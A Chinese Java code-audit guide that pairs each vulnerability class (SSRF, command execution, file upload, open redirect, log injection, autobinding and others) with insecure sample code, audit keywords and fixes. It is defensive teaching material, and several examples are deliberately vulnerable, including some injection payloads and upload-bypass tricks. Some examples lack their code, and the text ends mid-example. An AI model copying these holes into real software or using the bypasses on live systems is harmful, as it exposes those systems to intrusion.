成都商务服务交流群

Java源代码审计字典(二)

0c0c0f2019-01-16 06:29:09

临时文件删除

介绍

程序员经常会在全局可写的目录中创建临时文件。例如,POSIX系统下的/tmp与

/var/tmp目录,Windows系统下的C:\TEMP目录。这类目录中的文件可能会被定期清理,

例如,每天晚上或者重启时。然而,如果文件未被安全地创建或者用完后还是可访问的,具

备本地文件系统访问权限的攻击者便可以利用共享目录中的文件操作。删除已经不再需要的

临时文件有助于对文件名和其他资源(如二级存储)进行回收利用。每一个程序在正常运行

过程中都有责任确保删除已使用完毕的临时文件。

漏洞示例

public class TempFile

{

public static void main(String[] args) throws IOException

{

File f = new File("tempnam.tmp");

if (f.exists())

{

System.out.println("This file already exists");

return;

}

FileOutputStream fop = null;

try

{

fop = new FileOutputStream(f);

String str = "Data";

fop.write(str.getBytes());

}

finally

{

if (fop != null)

{

try

{

fop.close();

}

catch (IOException x)

{

// handle error

}

}

}

}

}

上面的代码最后并没有显示的删除临时文件。

审计策略

搜索关键字

File

FileOutputStream

修复方案

public class TempFile

{

public static void main(String[] args)

{

Path tempFile = null;

try

{

tempFile = Files.createTempFile("tempnam", ".tmp");

try (BufferedWriter writer = Files.newBufferedWriter(tempFile,

Charset.forName("UTF8"),

StandardOpenOption.DELETE_ON_CLOSE))

{

// write to the file and use it

}

System.out.println("Temporary file write done, file erased");

}

catch (IOException x)

{

// Some other sort of failure, such as permissions.

System.err.println("Error creating temporary file");

}

}

}

这个正确示例创建临时文件时用到了JDK1.7的NIO2包中的几个方法。它使用了createTempFile()方法,这个方法会新建一个随机的文件名(文件名的构造方式由具体的实现所定义,JDK缺少相关的文档说明)。文件使用try-with-resources构造块来打开,这种方式将会自动关闭文件,而不管是否有异常发生,并且在打开文件时用到了DELETE_ON_CLOSE选项,使得文件在关闭时会被自动删除。

public class TempFile

{

public static void main(String[] args) throws IOException

{

File f = File.createTempFile("tempnam", ".tmp");

FileOutputStream fop = null;

try

{

fop = new FileOutputStream(f);

// write to the file and use it

}

finally

{

if (fop != null)

{

try

{

fop.close();

}

catch (IOException x)

{

// handle error

}

if (!f.delete())// delete file when finished

{

// log the error

}}}}}

对于JDK1.7之前的版本,可以在临时文件使用完毕之后、系统终止之前,显式地对其进行删除。

日志注入

介绍

将未经验证的用户输入写入日志文件可致使攻击者伪造日志条目或将恶意信息内容注入日志

漏洞示例

下列Web应用程序代码会尝试从一个请求对象中读取整数值。如果数值未被解析为整数,输入就会被记录到日志中,附带一条提示相关情况的错误信息。

String val=request.getParameter("val");  

try{  

   int value=Integer.parseInt(val);  

}catch(NumberFormatException nfe){  

   log.info("Filed to parse val="+val);  

如果用户为"val"提交字符串"twenty-one"(数字21的英文),则日志会记录以下条目:
INFO:Failed to parse val=twenty-one

然而,如果攻击者提交字符串“twenty-one%0a%0aINFO:+User+logged+out%3dbadguy”,则日志中
就会记录以下条目:
INFO:Failed to parse val=twenty-one
INFO:User logged out=badguy
显然,攻击者可以使用同样的机制插入任意日志条目。

审计策略

全局搜索关键字

logger.IDSver*uIDSname

log

修复方案

先净化用户输入再记录。比如 pattern.match(“[A-Za-z0-9_]+”, uIDSname) 只是整改,减小日志注入攻击可能性。

Buffer 对象封装安全问题

介绍

java.nio包中的Buffer类,如IntBuffer, CharBuffer,以及ByteBuffer定义了一系列的方法,如wrap()、slice()、duplicate(),这些方法会创建一个新的buffer对象,但是修改这个新buffer对象会导致原始的封装数据也被修改,反之亦然。例如,wrap()方法将原始类型数组包装成一个buffer对象并返回。虽然这些方法会创建一个新的buffer对象,但是它后台封装的还是之前的给定数组,那么任何对buffer对象的修改也会导致封装的数组被修改,反之亦然。将这些buffer对象暴露给不可信代码,则会使其封装的数组面临恶意修改的风险。同样的,duplicate()方法会以原始buffer封装的数组来额外创建新的buffer对象,将此额外新建的buffer对象暴露给不可信代码同样会面临原始数据被恶意修改的风险。为了防止这种问题的发生,新建的buffer应该以只读视图或者拷贝的方式返回。

漏洞示例

public class Wrapper

{

private char[] dataArray;

public Wrapper ()

{

dataArray = new char[10];

// Initialize

}

public CharBuffer getBufferCopy()

{

return CharBuffer.wrap(dataArray);

}

}

public class Duplicator

{

CharBuffer cb;

public Duplicator ()

{

cb = CharBuffer.allocate(10);

// Initialize

}

public CharBuffer getBufferCopy()

{

return cb.duplicate();

}

}

这两个错误示例代码声明了一个char数组,然后将此数组封装到一个buffer中,最后通过getBufferCopy()方法将此buffer暴露给不可信代码。

审计策略

全局搜索一下关键字

Buffer

IntBuffer

CharBuffer

ByteBuffer

wrap()

slice()

duplicate()

修复方案

public class Wrapper

{

private char[] dataArray;

public Wrapper ()

{

// Initialize

dataArray = new char[10];

}

// return a read-only view

public CharBuffer getBufferCopy()

{

return CharBuffer.wrap(dataArray).asReadOnlyBuffer();

}

}

public class Duplicator

{

CharBuffer cb;

public Duplicator ()

{

// Initialize

cb = CharBuffer.allocate(10);

}

// return a read-only view

public CharBuffer getBufferCopy()

{

return cb.asReadOnlyBuffer();

}

}

这个正确示例以只读CharBuffer的方式返回char数组的一个只读视图。

堆检查(String 对象问题)

介绍

将敏感数据存储在String对象中使系统无法从内存中可靠地清除数据

漏洞示例

如果在使用敏感数据(例如密码、社会保障码、信用卡号等)后不清除内存,则存储在内存中的
这些数据可能会泄露。通常而言,String被大部分开发者常用作存储敏感数据,然而,由于String
对象不可改变,因此用户只能使用JVM垃圾收集器来从内存中清除String的值。除非JVM内存不足,
否则系统不要求运行垃圾收集器,因此垃圾收集器何时运行并无保证。如果发生应用程序崩溃,则应用程序的内存转储操作可能会导致敏感数据泄露。

private JPasswordFiled pf;  

...  

final char[] password=pf.getPassword();  

...  

String passwordAsString = new String(password);  

...  

由于passwordAsString为String对象,其内容未被改变,如果垃圾回收机制没有及时将passwordAsString对象清除,则有可能发生数据泄露。

审计策略

定义好敏感数据以后全局搜索敏感数据所使用的数据类型。凡是定义为String 对象类型的都应该检查上下文信息。

修复方案

请始终确保不再需要使用敏感数据时将其清除。可使用能够通过程序清除的字节数组或字符数组来存储敏感数据,而不是将其存储在类似String的不可改变的对象中。
下列代码可以在使用密码之后清除内存。

private JPasswordFiled pf;  

...  

final char[] password=pf.getPassword();  

//使用密码  

...  

//密码使用完毕  

Arrays.fill(password,'');  

...  

使用Arrays.fill()方法将password字符数组清除,从而保证敏感数据的安全。

 

字符串格式化

介绍

由于对用户的输入没有严格的控制,导致一些恶意字符被格式化产生非预期的目的。

漏洞示例

举例来说 System.out.printf(“%s”+args[0]) 安全可行,但是直System.out.printf(args[0]) 危险,用户可以在输入中用特殊字符串比如 %l$tm 诱骗系统打印出敏感信息。

class Format

{

static Calendar c = new GregorianCalendar(1995, GregorianCalendar.MAY,23);

public static void main(String[] args)

{

// args[0] is the credit card expiration date

// args[0] may contain either %1$tm, %1$te or %1$tY as malicious arguments

// First argument prints 05 (May), second prints 23 (day)

// and third prints 1995 (year)

// Perform comparison with c, if it doesn't match print the following line

System.out.printf(args[0]

+ " did not match! HINT: It was issued on %1$terd of somemonth",

c);

}

}

这个错误示例展示了一个信息泄露的问题。它将信用卡的失效日期作为输入参数并将其用在

格式字符串中。如果没有经过正确的输入校验,攻击者可以通过提供一段包含%1$tm、%1$te

和%1$tY之一的输入,来识别出程序中用来和输入做对比验证的日期。

审计策略

全文搜索以下关键字

Printf

Format

修复方案

不要直接将用户的输入格式化或者对于用户的输入数据做过滤或者采用正确的格式化方法即可。

class Format

{

static Calendar c = new GregorianCalendar(1995, GregorianCalendar.MAY,23);

public static void main(String[] args)

{

// args[0] is the credit card expiration date

// Perform comparison with c,

// if it doesn't match print the following line

System.out.printf("%s did not match! "

+ " HINT: It was issued on %2$terd of some month", args[0], c);

}

}

该正确示例将用户输入排除在格式化字符串之外。

SSRF

介绍

SSRF形成的原因大都是由于代码中提供了从其他服务器应用获取数据的功能但没有对目标地址做过滤与限制。比如从指定URL链接获取图片、下载等。

漏洞示例

此处以HttpURLConnection为例,示例代码片段如下:

    String url =request.getParameter("picurl");

    StringBuffer response = newStringBuffer();

 

   URLpic = new URL(url);

   HttpURLConnectioncon = (HttpURLConnection) pic.openConnection();

    con.setRequestMethod("GET");

    con.setRequestProperty("User-Agent","Mozilla/5.0");

    BufferedReader in = newBufferedReader(new InputStreamReader(con.getInputStream()));

    String inputLine;

    while ((inputLine = in.readLine())!= null) {

         response.append(inputLine);

   }

    in.close();

    modelMap.put("resp",response.toString());

    return "getimg.htm";

审计策略

1、应用从用户指定的url获取图片。然后把它用一个随即文件名保存在硬盘上,并展示给用户;

2、应用获取用户制定url的数据(文件或者html)。这个函数会使用socket跟服务器建立tcp连接,传输原始数据;

3、应用根据用户提供的URL,抓取用户的web站点,并且自动生成移动wap站;

4、应用提供测速功能,能够根据用户提供的URL,访问目标站点,以获取其在对应经纬度的访问速度;

程序中发起HTTP请求操作一般在获取远程图片、页面分享收藏等业务场景,在代码审计时可重点关注一些HTTP请求操作函数,如下:

HttpClient.execute

HttpClient.executeMethod

HttpURLConnection.connect

HttpURLConnection.getInputStream

URL.openStream

HttpServletRequest

getParameter

URI

URL

HttpClient

Request (对HttpClient封装后的类)

HttpURLConnection

URLConnection

okhttp

...

修复方案:

使用白名单校验HTTP请求url地址

避免将请求响应及错误信息返回给用户

禁用不需要的协议及限制请求端口,仅仅允许http和https请求等

 

 

文件上传漏洞

介绍

文件上传过程中,通常因为未校验上传文件后缀类型,导致用户可上传jsp等一些webshell文件。代码审计时可重点关注对上传文件类型是否有足够安全的校验,以及是否限制文件大小等。

漏洞示例

此处以MultipartFile为例,示例代码片段如下:

    public String handleFileUpload(MultipartFilefile){

        String fileName =file.getOriginalFilename();

        if (fileName==null) {

            return "file iserror";

        }

        String filePath ="/static/images/uploads/"+fileName;

        if (!file.isEmpty()) {

            try {

                byte[] bytes =file.getBytes();

                BufferedOutputStreamstream =

                        newBufferedOutputStream(new FileOutputStream(new File(filePath)));

                stream.write(bytes);

                stream.close();

                return"OK";

            } catch (Exception e) {

                returne.getMessage();

            }

        } else {

            return "You failedto upload " + file.getOriginalFilename() + " because the file wasempty.";

        }

    }

审计策略

1:白名单或者黑名单校验后缀(白名单优先)

2:上传的文件是否校验限制了文件的大小(文件太大会造成dos)

3:是否校验文件上传的后缀。关键函数如下

IndexOf(“.”) 从前往后取第一个点被绕过可能 1.jpg.jsp

修复方案:IndexOf()替换成lastIndexOf()

4:文件后缀对比

string.equals(fileSuffix)次函数不区分大小写。可通过string.Jsp这种方式绕过。修复方案在比较之前之前使用fileSuffix.toLowerCase() 将前端取得的后缀名变换成小写或者改成s.equalsIgnoreCase(fileSuffix) 即忽略大小

5:是否通过文件类型来校验

String contentType = file.getContentType();

这种方式可以前端修改文件类型绕过上传

6、java程序中涉及到文件上传的函数,比如:

MultipartFile

7、模糊搜索相关文件上传类或者函数比如

File

FileUpload

FileUtils

UploadHandleServlet

FileLoadServlet

getInputStream

FileOutputStream

DiskFileItemFactory

MultipartRequestEntity

修复方案

使用白名单校验上传文件类型、大小限制、强制重命名文件的后缀名等。

 

 

自动变量绑定(Autobinding

介绍

Autobinding-自动绑定漏洞,根据不同语言/框架,该漏洞有几个不同的叫法,如下:

Mass Assignment: Ruby on Rails, NodeJS

Autobinding: Spring MVC, ASP.NET MVC

Object injection: PHP(对象注入、反序列化漏洞)

软件框架有时允许开发人员自动将HTTP请求参数绑定到程序代码变量或对象中,从而使开发人员更容易地使用该框架。这里攻击者就可以利用这种方法通过构造http请求,将请求参数绑定到对象上,当代码逻辑使用该对象参数时就可能产生一些不可预料的结果。

漏洞示例

示例代码以ZeroNights-HackQuest-2016的demo为例,把示例中的justiceleague程序运行起来,可以看到这个应用菜单栏有about,reg,Sign up,Forgot password这4个页面组成。我们关注的点是密码找回功能,即怎么样绕过安全问题验证并找回密码。

1)首先看reset方法,把不影响代码逻辑的删掉。这样更简洁易懂:

@Controller

@SessionAttributes("user")

public class ResetPasswordController {

 

private UserService userService;

...

@RequestMapping(value = "/reset", method = RequestMethod.POST)

public String resetHandler(@RequestParam String username, Model model) {

        User user = userService.findByName(username);

        if (user == null) {

             return"reset";

        }

        model.addAttribute("user",user);

        return "redirect:resetQuestion";

    }

这里从参数获取username并检查有没有这个用户,如果有则把这个user对象放到Model中。因为这个Controller使用了@SessionAttributes("user"),所以同时也会自动把user对象放到session中。然后跳转到resetQuestion密码找回安全问题校验页面。

2)resetQuestion密码找回安全问题校验页面有resetViewQuestionHandler这个方法展现

@RequestMapping(value = "/resetQuestion", method =RequestMethod.GET)

    public StringresetViewQuestionHandler(@ModelAttribute User user) {

        logger.info("WelcomeresetQuestion ! " + user);

        return"resetQuestion";

    }

这里使用了@ModelAttribute User user,实际上这里是从session中获取user对象。但存在问题是如果在请求中添加user对象的成员变量时则会更改user对象对应成员的值。 所以当我们给resetQuestionHandler发送GET请求的时候可以添加“answer=hehe”参数,这样就可以给session中的对象赋值,将原本密码找回的安全问题答案修改成“hehe”。这样在最后一步校验安全问题时即可验证成功并找回密码

审计策略

这种漏洞一般在比较多步骤的流程中出现,比如转账、找密等场景,也可重点留意几个注解如下:

@SessionAttributes

@ModelAttribute

这种漏洞一般通过黑盒的方式更容易测试得到

...

更多信息可参考http://bobao.360.cn/learning/detail/3991.html

修复方案

Spring MVC中可以使用@InitBinder注解,通过WebDataBinder的方法setAllowedFields、setDisallowedFields设置允许或不允许绑定的参数。


URL重定向

介绍

由于Web站点有时需要根据不同的逻辑将用户引向到不同的页面,如典型的登录接口就经常需要在认证成功之后将用户引导到登录之前的页面,整个过程中如果实现不好就可能导致URL重定向问题,攻击者构造恶意跳转的链接,可以向用户发起钓鱼攻击。

漏洞示例

此处以Servlet的redirect 方式为例,示例代码片段如下:

    String site =request.getParameter("url");

    if(!site.isEmpty()){

        response.sendRedirect(site);

    }

审计策略

java程序中URL重定向的方法均可留意是否对跳转地址进行校验全局搜索如下关键字:

sendRedirect

setHeader

forward

redirect

...

修复方案

使用白名单校验重定向的url地址

给用户展示安全风险提示,并由用户再次确认是否跳转

 

CSRF

备注:随便看看就行,这种漏洞一般不需要通过代码审计来发掘直接黑盒最方便

介绍

跨站请求伪造(Cross-Site Request Forgery,CSRF)是一种使已登录用户在不知情的情况下执行某种动作的攻击。因为攻击者看不到伪造请求的响应结果,所以CSRF攻击主要用来执行动作,而非窃取用户数据。当受害者是一个普通用户时,CSRF可以实现在其不知情的情况下转移用户资金、发送邮件等操作;但是如果受害者是一个具有管理员权限的用户时CSRF则可能威胁到整个Web系统的安全。

漏洞示例

由于开发人员对CSRF的了解不足,错把“经过认证的浏览器发起的请求”当成“经过认证的用户发起的请求”,当已认证的用户点击攻击者构造的恶意链接后就“被”执行了相应的操作。例如,一个博客删除文章是通过如下方式实现的:

GEThttp://blog.com/article/delete.jsp?id=102

当攻击者诱导用户点击下面的链接时,如果该用户登录博客网站的凭证尚未过期,那么他便在不知情的情况下删除了id为102的文章,简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。

审计策略

此类漏洞一般都会在框架中解决修复,所以在审计csrf漏洞时。首先要熟悉框架对CSRF的防护方案,一般审计时可查看增删改请求重是否有token、formtoken等关键字以及是否有对请求的Referer有进行校验。手动测试时,如果有token等关键则替换token值为自定义值并重放请求,如果没有则替换请求Referer头为自定义链接或置空。重放请求看是否可以成功返回数据从而判断是否存在CSRF漏洞。

修复方案

Referer校验,对HTTP请求的Referer校验,如果请求Referer的地址不在允许的列表中,则拦截请求。

Token校验,服务端生成随机token,并保存在本次会话cookie中,用户发起请求时附带token参数,服务端对该随机数进行校验。如果不正确则认为该请求为伪造请求拒绝该请求。

Formtoken校验,Formtoken校验本身也是Token校验,只是在本次表单请求有效。

对于高安全性操作则可使用验证码、短信、密码等二次校验措施

增删改请求使用POST请求

 

命令执行

介绍

由于业务需求,程序有可能要执行系统命令的功能,但如果执行的命令用户可控,业务上有没有做好限制,就可能出现命令执行漏洞。

漏洞示例

此处以getRuntime为例,示例代码片段如下:

    String cmd =request.getParameter("cmd");

    Runtime.getRuntime().exec(cmd);

审计策略

这种漏洞原理上很简单,重点是找到执行系统命令的函数,看命令是否可控。在一些特殊的业务场景是能判断出是否存在此类功能,这里举个典型的实例场景,有的程序功能需求提供网页截图功能,笔者见过多数是使用phantomjs实现,那势必是需要调用系统命令执行phantomjs并传参实现截图。而参数大多数情况下应该是当前url或其中获取相关参数,此时很有可能存在命令执行漏洞,还有一些其它比较特别的场景可自行脑洞。

java程序中执行系统命令的函数如下:

Runtime.exec

Process

ProcessBuilder.start

GroovyShell.evaluate

...

修复方案

避免命令用户可控

如需用户输入参数,则对用户输入做严格校验,如&&、|、;等

 

越权漏洞

介绍

越权漏洞可以分为水平、垂直越权两种,程序在处理用户请求时未对用户的权限进行校验,使的用户可访问、操作其他相同角色用户的数据,这种情况是水平越权;如果低权限用户可访问、操作高权限用户则的数据,这种情况为垂直越权。

漏洞示例

   @RequestMapping(value="/getUserInfo",method =RequestMethod.GET)

    public String getUserInfo(Modelmodel, HttpServletRequest request) throws IOException {

        String userid =request.getParameter("userid");

        if(!userid.isEmpty()){

            Stringinfo=userModel.getuserInfoByid(userid);

            return info;

        }

        return "";

    }

审计策略

水平、垂直越权不需关注特定函数,只要在处理用户操作请求时查看是否有对当前登陆用户权限做校验从而确定是否存在漏洞

修复方案

获取当前登陆用户并校验该用户是否具有当前操作权限,并校验请求操作数据是否属于当前登陆用户,当前登陆用户标识不能从用户可控的请求参数中获取。

 

权限组合

介绍

有些许可和目标的组合会导致权限过大,而这些权限本不应该被赋予。另外有些权限

必须只赋予给特定的代码。

1. 不要将AllPermission许可赋予给不信任的代码。

2. ReflectPermission许可与suppressAccessChecks目标组合会抑制所有Java语言标准中的访问检查了,这个访问检查在一个类试图访问其他类的包私有,包保护,和私有成员的进行。因此,被授权的类能够访问任意其他类中任意的字段和方法。因此,不要将ReflectPermission许可和suppressAccessChecks目标组合使用。

3. 如果将java.lang.RuntimePermission许可与createClassLoader目标组合,将赋予代码创建ClassLoader对象的权限。这将是非常危险的,因为恶意代码可以创建其自己特有的类加载器并通过类加载来为类分配任意许可。

漏洞示例

// Grant the klib library AllPermission

grant codebase "file:${klib.home}/j2se/home/klib.jar"

{

permission java.security.AllPermission;

};

在该错误代码示例中,为klib库赋予了AllPermission许可。这个许可是在安全管理器使用的安全策略文件中指定的。

审计策略

全局搜索以下关键字

AllPermission

ReflectPermission

suppressAccessChecks

java.lang.RuntimePermission

createClassLoader

修复方案

grant codebase "file:${klib.home}/j2se/home/klib.jar", signedBy"Admin"

{

permission java.io.FilePermission "/tmp/*", "read";

permission java.io.SocketPermission "*", "connect";

};

此正确示例展示了一个可用来进行细粒度授权的策略文件。

有可能需要为受信任的库代码授予AllPermission来使得回调方法按预期运行。例如,对

可选的Java包(拓展库)赋予AllPermission权限是常见并可以接受的做法:

// Standard extensions extend the core platform and are granted allpermissions

by default

grant codeBase "file:${{java.ext.dirs}}/*"

{

permission java.security.AllPermission;

};

字节码验证

介绍

Java字节码验证器是JVM的一个内部组件,负责检测不合规的Java字节码。包括确保class文件的格式正确性、没有出现非法的类型转换、不会出现调用栈下溢,以及确保每个方法最终都会将其往调用栈中推入的东西删除。用户通常觉得从可信的源获取的Java class文件是合规的,所以执行起来也是安全的,误以为字节码验证对于这些类来说是多余的。结果,用户可能会禁用字节码验证,破坏Java的安全性以及安全保障。字节码验证器一定不能被禁用。

漏洞示例

java -Xverify:none ApplicationName

字节码验证程序默认会被JVM所执行。JVM命令行参数-Xverify:none会让JVM抑制字节码验证过程。在这个错误代码示例中,就使用了这个参数来禁用字节码验证。

审计策略

检查环境,确保字节码验证是开启的或者全局搜索-Xverify查看。

安全修复

java ApplicationName

字节码验证默认就是启用的。

显式启用验证

java -Xverify:all ApplicationName

在命令行中配置-Xverify:all参数要求JVM启用字节码验证(尽管可能之前是被禁用的)。

远程监控部署的应用

介绍

Java提供了多种API让外部程序来监控运行中的Java程序。这些API也允许不同主机上的程序远程监控Java程序。这样的特征方便对程序进行调试或者对其性能进行调优。但是,如果一个Java程序被部署在生产环境中同时允许远程监控,攻击者很容易连接到JVM来监视这个Java程序的行为和数据,包括所有潜在的敏感信息。攻击者也可以对程序的行为进行控制。因此,当Java程序运行在生产环境中时,必须禁用远程监控。

漏洞示例

${JDK_PATH}/bin/java -agentlib:libname=options ApplicationName

在该错误示例中,JVM Tool Interface(JVMTI)通过代理来与运行中的JVM通信。这些代理通常是在JVM启动的时候通过Java命令行参数 - agentlib或者-agentpath来加载的 , 从而允许JVMTI对应用程序进行监控。

${JDK_PATH}/bin/java -Dcom.sun.management.jmxremote.port=8000 ApplicationName

在以上错误示例中,用命令行参数使得JVM被允许在8000端口上进行远程监控。如果密码强度很弱或者误用SSL协议,可能会导致安全漏洞。

审计策略

环境检查,启动部署检查。

安全修复

${JDK_PATH}/bin/java -Djava.security.manager ApplicationName

上面的命令行启动JVM时,未启用任何代理。避免在生产设备上使用-agentlib, -Xrunjdwp,和-Xdebug命令行参数,并且安装了默认的安全管理器。

对于一个Java程序,如果能保证本地信任边界外没有任何程序可以访问该程序,那么这个程序可通过任意一种技术被远程监控。例如,如果这个程序安装在一个本地网络上,该本地网络是完全可信的而且与所有不可信的网络不连通,包括Internet,那么远程监控是被允许的。

代码安全

介绍

1、将所有安全敏感代码都放在一个 jar 包中

若所有安全敏感代码(例如进行权限控制或者用户名密码校验的代码)没有放到同一个受信任的JAR包中,攻击者可以先加载恶意代码(使用相同的类名),然后操纵受信任的敏感代码执行恶意代码,导致受信任代码的执行逻辑被劫持。

2、生产代码不能包含任何调试入口点

一种常见的做法就是由于调试或者测试目的在代码中添加特定的后门代码,这些代码并没有打算与应用一起交付或者部署。当这类的调试代码不小心被留在了应用中,这个应用对某些无意的交互就是开放的。这些后门入口点可以导致安全风险,因为在设计和测试的时候并没有考虑到而且处于应用预期的运行情况之外。被忘记的调试代码最常见的例子比如一个web应用中出现的main()方法。虽然这在产品生产的过程中也是可以接受的,但是在生产环境下,J2EE应用中的类是不应该定义有main()的。

漏洞示例

示例一 敏感代码放在同一个jar中

package trusted;

import untrusted.RetValue;

public class MixMatch

{

private void privilegedMethod() throws IOException

{

try

{

final FileInputStream fis =

AccessController.doPrivileged(new

PrivilegedExceptionAction<FileInputStream>()

{

public FileInputStream run() throws FileNotFoundException

{

return new FileInputStream("file.txt");

}

});

try

{

RetValue rt = new RetValue();

if (rt.getValue() == 1)

{

// do something with sensitive file

}

}

finally

{

fis.close();

}

}

catch (PrivilegedActionException e)

{

// forward to handler and log

}

}

public static void main(String[] args) throws IOException

{

MixMatch mm = new MixMatch();

mm.privilegedMethod();

}

}

// In another JAR file:

package untrusted;

class RetValue

{

public int getValue()

{

return 1;

}

}

攻击者可以提供RetValue类的实现,使特权代码使用不正确的返回值。尽管MixMatch类

包含的都是信任的签名的代码,攻击者仍然可以恶意部署一个经过有效签名JAR文件,这个

JAR文件包含不受信任的RetValue类,来进行攻击。

审计策略

通读敏感区的代码来判断。

安全修复

package trusted;

public class MixMatch

{

// ...

}

// In the same signed & sealed JAR file:

package trusted;

class RetValue

{

int getValue()

{

return 1;

}

}

该正确代码示例将所有安全敏感代码放在一个包和JAR文件中。同时也将getValue()方法的访问性降低到包可访问。需要对包进行密封以防止攻击者插入恶意类。按以下方式,在JAR文件中的manifest文件头部中加入sealed属性来对包进行密封:

Name: trusted  // package name

Sealed: true  // sealed attribute

示例二 生产环境代码不能有任何调试点

public class Stuff

{

// other fields and methods

public static void main(String args[])

{

Stuff stuff = new Stuff();

// Test stuff

}

}

在这个错误代码示例中,Stuff类使用了一个main()函数来测试其方法。尽管对于调试是很有用的,如果这个函数被留在了生产代码中(例如,一个Web应用),那么攻击者就可能直接调用Stuff.main()来访问Stuff类的测试方法。

审计策略

通读代码或者在j2ee代码中搜索main方法

修复方案

正确的代码示例中将main()方法从Stuff类中移除,这样攻击者就不能利用这个入口点了。

硬编码问题

介绍

如果将敏感信息(包括口令和加密密钥)硬编码在程序中,可能会将敏感信息暴露给攻击者。任何能够访问到class文件的人都可以反编译class文件并发现这些敏感信息。因此,不能将信息硬编码在程序中。同时,硬编码敏感信息会增加代码管理和维护的难度。例如,在一个已经部署的程序中修改一个硬编码的口令需要发布一个补丁才能实现。

漏洞示例

public class IPaddress

{

private String ipAddress = "172.16.254.1";

public static void main(String[] args)

{

//...

}

}

恶意用户可以使用javap -c IPaddress命令来反编译class来发现其中硬编码的服务器IP地址。反编译器的输出信息透露了服务器的明文IP地址:172.16.254.1。

审计策略

通读代码查看是否有硬编码敏感文件。

安全修复

public class IPaddress

{

public static void main(String[] args) throws IOException

{

char[] ipAddress = new char[100];

BufferedReader br = new BufferedReader(newInputStreamReader(

new FileInputStream("serveripaddress.txt")));

// Reads the server IP address into thechar array,

// returns the number of bytes read

int n = br.read(ipAddress);

// Validate server IP address

// Manually clear out the server IP address

// immediately after use

for (int i = n - 1; i >= 0; i--)

{

ipAddress[i] = 0;

}

br.close();

}

}

这个正确代码示例从一个安全目录下的外部文件获取服务器IP地址。并在其使用完后立即从内存中将其清除可以防止后续的信息泄露。

批量请求

介绍

业务中经常会有使用到发送短信校验码、短信通知、邮件通知等一些功能,这类请求如果不做任何限制,恶意攻击者可能进行批量恶意请求轰炸,大量短信、邮件等通知对正常用户造成困扰,同时也是对公司的资源造成损耗。

除了短信、邮件轰炸等,还有一种情况也需要注意,程序中可能存在很多接口,用来查询账号是否存在、账号名与手机或邮箱、姓名等的匹配关系,这类请求如不做限制也会被恶意用户批量利用,从而获取用户数据关系相关数据。对这类请求在代码审计时可关注是否有对请求做鉴权、和限制即可大致判断是否存在风险。

漏洞示例

    @RequestMapping(value="/ifUserExit",method= RequestMethod.GET)

    public String ifUserExit(Modelmodel, HttpServletRequest request) throws IOException {

        String phone =request.getParameter("phone");

        if(! phone.isEmpty()){

            boolean ifex=userModel.ifuserExitByPhone(phone);

            if (!ifex)

                return "用户不存在";

        }

        return "用户已被注册";

}

审计策略

对于和前端的任何交互请求不要信任,多思考一步。全局搜索如下关键字

getParameter

HttpServletRequest

RequestMethod

修复方案

对同一个用户发起这类请求的频率、每小时及每天发送量在服务端做限制,不可在前端实现限制。

 

代码执行

介绍

在java里面并不存在eval这样的函数来直接执行代码,但是可以通过动态编译的方式来执行。jdk提供一个动态编译的类。

JavaCompiler javac;

javac =ToolProvider.getSystemJavaCompiler();

int compilationResult =javac.run(null,null,null, "-g","-verbose",javaFile);

这样就可以动态进行编译。前两个参数是输入参数、输出参数,我觉得没有什么用,第三个参数是编译输出信息,默认输出到System.out.err里面。从第四个参数开始,就是javac的参数,可以用数组,也可以直接逗号分割。

审计策略

这种代码一般在特殊的场景下才会产生。一般的业务逻辑中很少遇见。全局搜索一下关键字,然后结合上下文可以进行判断。

URLClassLoader

ToolProvider.getSystemJavaCompiler()

getSystemClassLoader

JavaFileObject

修复方案

根据上下环境,仔细查看所要执行的代码是不是有可控制的输入点。如果有需要使用类似标识位的方式替代。比如1代表固定需要执行的代码,2代表另一端固定需要执行的代码。绝对禁止从外部直接输入所要执行的代码。

基础数据问题

介绍

主要是数组的比较和数据类型的比较或者其它的一些基础数据运算的审计。

漏洞示例

示例一 数组比较

通过下面的运行结果可以看到Arrays.equals()这种是比较的两个数组元素的值,而arr1.equals(arr2)这种是比较的两个数组元素的首地址。这种比较有可能造成逻辑上的错误。


审计策略

全局搜索以下关键字

equals()

漏洞修复

使用 Arrays.equals() 替代arr1.equals(arr2)。

示例二 不要用 == 或者!= 比较封装数据类型的值



审计策略

在一些关键的业务代码处做审计,这种属于低级错误一般不建议审计。

修复方案

见示例

安全管理器

介绍

当应用需要加载非信任代码时,必须安装安全管理器,且敏感操作必须经过安全管理器检查,从而防止它们被非信任代码调用。某些常见敏感操作的Java API,例如访问本地文件、向外部主机开放套接字连接或者创建一个类加载器,已经包括了安全管理器检查来实施JDK中的某些预定义策略。仅需要安装安全管理器即可保护这些预定义的敏感操作。然而,应用本身也可能包含敏感操作。对于这些敏感操作,除了安装一个安全管理器之外,必须自定义安全策略,并在操作前手动为其增加安全管理器检查。

漏洞示例

public class SensitiveHash

{

private Hashtable<Integer, String> ht = new Hashtable<Integer,String>();

public void removeEntry(Object key)

{

ht.remove(key);

}

}

这段不符合要求的示例代码实例化一个Hashtable,并定义了一个removeEntry()方法允许删除其条目。这个方法被认为是敏感的,因为哈希表中包含敏感信息。由于该方法被声明为是public且non-final的,将其暴露给了恶意调用者。

审计策略

需要和业务一起沟通那些方法属于敏感方法一般情况下涉及删除,遍历等操作的都视为敏感操作。当然敏感操作如果不涉及敏感数据也是可以的。

修复方案

public class SensitiveHash

{

Hashtable<Integer, String> ht = new Hashtable<Integer,String>();

void removeEntry(Object key)

{

// "removeKeyPermission" is a custom target name forSecurityPermission

check("removeKeyPermission");

ht.remove(key);

}

private void check(String directive)

{

SecurityManager sm = System.getSecurityManager();

if (sm != null)

{

sm.checkSecurityAccess(directive);

}

}

}

该正确示例使用安全管理器检查来防止Hashtable实例中的条目被恶意删除。如果调用者缺少java.security.SecurityPermission removeKeyPermission,一个SecurityException异常将被抛出。 SecurityManager.checkSecurityAccess()方法检查调用者是否有特定的操作权限。

特权区域安全问题

介绍

java.security.AccessController类是Java安全机制的一部分,负责实施可应用的安全策略。该类静态的doPrivileged()方法以不严格的安全策略执行一个代码块。doPrivileged()方法将会阻止权限检查在方法调用栈上进一步往下进行。因此,任何包含doPrivileged()代码块的方法或者类都有责任确保敏感操作访问的安全性。不要在特权块内操作未经校验的或者非信任的数据。如果违反,攻击者可以通过提供恶意输入来提升自己的权限。在进行特权操作之前,通过硬编码方式而非接受参数(适当时)或者是进行数据校验,可以减小这种风险。

漏洞示例

private void privilegedMethod(final String fileName) throws

FileNotFoundException

{

try

{

